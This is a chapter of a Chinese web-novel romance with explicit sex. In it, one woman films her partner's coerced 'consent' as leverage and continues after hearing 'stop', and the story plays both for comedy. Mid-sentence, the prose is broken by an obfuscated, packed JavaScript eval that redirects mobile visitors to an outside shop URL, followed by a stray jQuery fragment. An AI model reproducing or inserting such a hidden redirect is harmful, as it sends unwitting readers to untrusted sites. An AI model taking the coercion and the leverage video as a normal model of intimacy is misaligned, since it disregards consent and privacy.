时倾倾被谢致那句灵魂质问砸得有点懵,随即满满的都是不服气。
“哎不是!你讲点道理好不好?”
时倾倾躺在下面,双手还被谢致按着,只能靠嘴皮子输出,“这跟我是不是Alpha有半毛钱关系吗?重点是你过河拆桥,你不讲武德!昨晚……我帮了你,你早上是怎么对我的?啊?水果刀都架我脖子上了!”
“谁知道你这次爽完了,明天早上会不会又要弄死我?”
时倾倾的喋喋不休在她听来就像是隔靴搔痒,不仅无法缓解,反而更添焦躁。
“你……闭嘴……”
谢致喘息着,身体难耐地蹭动,试图寻找能缓解痛苦的源泉。她低下头,滚烫的唇胡乱地寻找着时倾倾的嘴唇,像溺水之人寻找浮木。
时倾倾赶紧脑袋一偏,那个带着灼热湿意的吻最后落在了她的脸颊上。
同时,她手腕用力,轻而易举地挣脱了谢致那软绵绵的钳制,反过来用手掌抵住了谢致再次凑近的脸。
“诶诶诶!说话就说话,别动嘴啊!”
时倾倾瞪大了眼睛,感受着脸上残留的湿热和身上人不安分的扭动,顿时心跳如擂鼓,信息素有点压不住的迹象,“我告诉你,Alpha的清白也是很宝贵的好吗!”
谢致快被逼疯了,挣又挣不脱,动又动不了,被折磨的眼眶彻底红了,蒙上了一层水雾。
“时倾倾,你放手。”她呜咽着,之前的冷硬和凶狠荡然无存,只剩下全然的脆弱,“我好难受……”
这带着泣音的哀求,像一根羽毛,轻轻搔刮着时倾倾的心尖。
她感觉自己的防线正在以光速崩塌,身体的反应也越来越诚实。但一想到早上那明晃晃的刀锋,时倾倾残存的理智又开始垂死挣扎。
“不行!”她咬着后槽牙,努力让自己的声音听起来冷酷无情,“你现在说得好听,明天早上清醒了,肯定又翻脸不认人!不干!打死也不干!”
谢致被她的话气得浑身发抖,却又无力反驳,因为对方说的……都是事实。
羞耻感和生理的渴望激烈交战,最终,后者以压倒性的优势获胜。
她颤动着被泪水濡湿的长睫,断断续续地,几乎是耗尽了所有的尊严,低声承诺:“我……我自愿的,不会……不会翻旧账……”
时倾倾依旧保持警惕,“口说无凭,我得保留证据。”
“混蛋!”谢致气得想骂人,呜咽道:“你,你到底...想怎样?”
时倾倾顿了一下,仿佛在认真地思考着什么,随即灵机一动,她用一只手轻而易举地将谢致两只不安分的手腕并在一起,牢牢扣在头顶,另一只手则艰难地摸索到床头柜上的手机。
“你……你要干什么?”
谢致看着她解锁手机,点开录像功能,一种不祥的预感涌上心头。
“留个凭证啊!”时倾倾调整了一下角度,然后一本正经地说:“来,看着镜头。请大声地重复一遍:我,谢致,自愿被时倾倾标记。保证事后不追究责任,不翻旧账,更不动用任何形式的武力打击报复。”
“如有违反……呃,如有违反就一辈子吃泡面没有调料包!”
谢致看着镜头,简直想一口咬死这个混蛋,她这辈子都没受过这种屈辱!
“时倾倾……你个王八蛋!去死!”
她带着哭腔骂了一句,死死咬住下唇,不肯再说。
“不愿意?”时倾倾挑眉,无所谓道:“那咱们就这么耗着呗,反正我还能忍。”
很快,谢致就先崩溃了。
生理的渴求,战胜了所有的羞耻和理智。
她狠狠地瞪着时倾倾,最终呜咽一声,用颤抖的声音,断断续续地重复道:“我……自愿接受标记,事后…不追究…不报复…不翻账…呜呜……你快一点……”
最后几个字,几乎是泣不成声。
“搞定!”时倾倾心满意足地保存视频,甚至还贴心地上传到了云端备份。
有了这张免死金牌,她的顾虑一扫而空,被压抑许久的Alpha本能和易感期的躁动如同开闸的洪水,瞬间将她淹没。
她猛地一个翻身,天旋地转间,两人位置瞬间调换。
变成了时倾倾在上,谢致在下。
局势瞬间逆转。
“啊!”谢致惊呼一声,还没来得及反应,灼热的吻便如同暴雨般落下,不再是刚才的闪躲和抗拒,而是带着不容置疑的掠夺。
时倾倾的信息素也不再收敛,那炽烈如阳光的气息彻底爆发开来,与谢致冷冽甜腻的信息素疯狂交织,缠绕,如同干柴遇上烈火,瞬间点燃了整个房间的空气。
或许是受末世长期压抑环境的影响,时倾倾在这事上似乎潜藏着一股野兽的疯狂和掌控欲,她伏在谢致耳边,声音沙哑而恶劣,旧事重提:“叫好姐姐。”
谢致的理智时有时无,破碎的呜咽从唇角溢出,却死死咬着牙,不肯屈服。
时倾倾也不急,有的是手段让她开口。
“叫不叫?”时倾倾的唇齿磨蹭着微微凸起的腺体,感受着身下人的剧烈颤抖。
“唔…不……”
时倾倾也不说话,只是动作如同狂风骤雨,不给她任何喘息的机会。
谢致迷离的双眼猛地睁大,难以置信地看着眼前得寸进尺的混蛋,羞耻感爆棚,恨不得立刻挠死她!
“你…休想……”她从牙缝里挤出拒绝。
时倾倾继续执拗动作,大有不达目的誓不罢休的架势。谢致很快就被弄得几乎晕厥,所有的羞耻和理智彻底崩盘,尖叫着脱口而出:
“好……好姐姐!不要了……停下……啊——!”
话音未落,极致的白光在脑海中炸开,她只觉得眼前一黑,脑子一片空白。
……
云收雨歇。
时倾倾喘着粗气,看着身下已经昏睡过去的谢致,狂躁的理智慢慢回笼。
卧槽,刚才是不是有点太……禽兽了?
她心虚地摸了摸鼻子,回忆了一下自己刚才的所作所为,尤其是逼着人家喊‘好姐姐’那段……脸上有点发烫。
“不行不行,时倾倾你要克制。”她小声告诫自己,“这可是反派,你这么欺负人家,等她恢复元气,有你好果子吃。下次……下次一定要温柔点!”
反思完毕,她认命地抱起软成一滩泥的谢致,走进浴室,小心翼翼地给她清洗。
过程中,谢致偶尔发出无意识的哼唧,时倾倾赶紧屏住呼吸,生怕被打击报复。
收拾干净,将谢致塞回被窝,时倾倾心满意足地躺上去,没几秒就沉沉睡去了。
——
阳光透
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804027|190734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过窗帘缝隙,调皮地跳跃在谢致的眼皮上。
她迷迷糊糊地醒来,只觉得浑身像是被拆开重组过一样,无处不酸,无处不痛。
尤其是某个难以启齿的地方,更是传来清晰的不适感。
昨晚混乱羞耻的画面,如同开了闸的洪水,争先恐后地涌入她的脑海。
“轰——!”
谢致的脸瞬间红透,几乎能滴出血来。羞愤、懊恼、无力、还有一丝……连她自己都不愿承认的餍足感,种种情绪交织在一起,让她恨不得找个地缝钻进去。
她猛地侧过头,就看到罪魁祸首正睡得四仰八叉,一脸餍足。
仿佛做了什么美梦。
对比自己浑身的酸痛和内心的崩溃,谢致气得牙痒痒。
她想抬脚狠狠把这个混蛋踹下床,却发现身体跟散了架似的,根本用不上力。
怒火攻心之下,她深吸一口气,调动起手臂仅存的力量,伸出手,瞄准时倾倾大腿内侧最柔嫩的那块软肉,用指甲掐住,然后——狠狠一拧。
三百六十度旋转那种!
“嗷——!!!”
一声凄厉程度堪比被丧尸咬了的惨叫,瞬间划破了清晨的宁静。
时倾倾如同被电击的青蛙,猛地从床上弹跳起来,捂住惨遭毒手的大腿,疼得龇牙咧嘴,眼泪都快飙出来了。
“卧槽!谢致你干嘛?”
谢致冷冷地瞪着她,脸颊还泛着红晕,不知是气的还是羞的,声音沙哑却带着冰碴子:“你活该,早晚弄死你。”
时倾倾揉着肯定已经青紫了的大腿肉,委屈得不行:“我怎么就活该了?昨晚明明是你求着我的,我还有视频为证,你别想赖账。”
一提到视频,谢致的脸色更难看了一层。
“删掉!”她咬牙切齿。
“不删!”时倾倾梗着脖子,“这可是证据,谁知道你会不会秋后算账。”
“你!”谢致气结,伸手又想掐她。
时倾倾赶紧抱着被子滚到床另一边,警惕地看着她:“哎哎哎!说好的不打击报复呢?谢总,做人要讲信用,你可是白纸黑字……啊不,是亲口对着镜头说的!”
谢致深吸一口气,强迫自己冷静下来。
跟这个无赖硬碰硬,吃亏的好像总是自己。
她闭了闭眼,再睁开时,已经恢复了部分冷静,尽管声音还带着事后的沙哑:
“滚去买吃的,我饿了。”
“啊?”时倾倾一愣,这话题转得有点快。
“我说,我饿了。”谢致重复了一遍,语气不容置疑,“去弄吃的。”
时倾倾眨巴眨巴眼睛,看着谢致那副虽然虚弱但依旧颐指气使的金主模样,突然福至心灵——这是不打算立刻追究了?默认了现状?
她顿时眉开眼笑,也顾不上大腿疼了,屁颠屁颠地爬起来:“好嘞!您想吃什么?豆浆油条小笼包?还是牛奶面包煎鸡蛋?我这就去给您买!”
谢致心里五味杂陈,最终只是疲惫地挥挥手:“随便,快点。”
时倾倾麻溜地套上衣服,冲出房间前还不忘回头贱兮兮地补充一句:“那视频我会好好保管的,只要你别搞打击报复,我不会拿出来的。”
一个枕头精准地砸在了门板上。
时倾倾嘿嘿一笑,心情大好地觅食去了。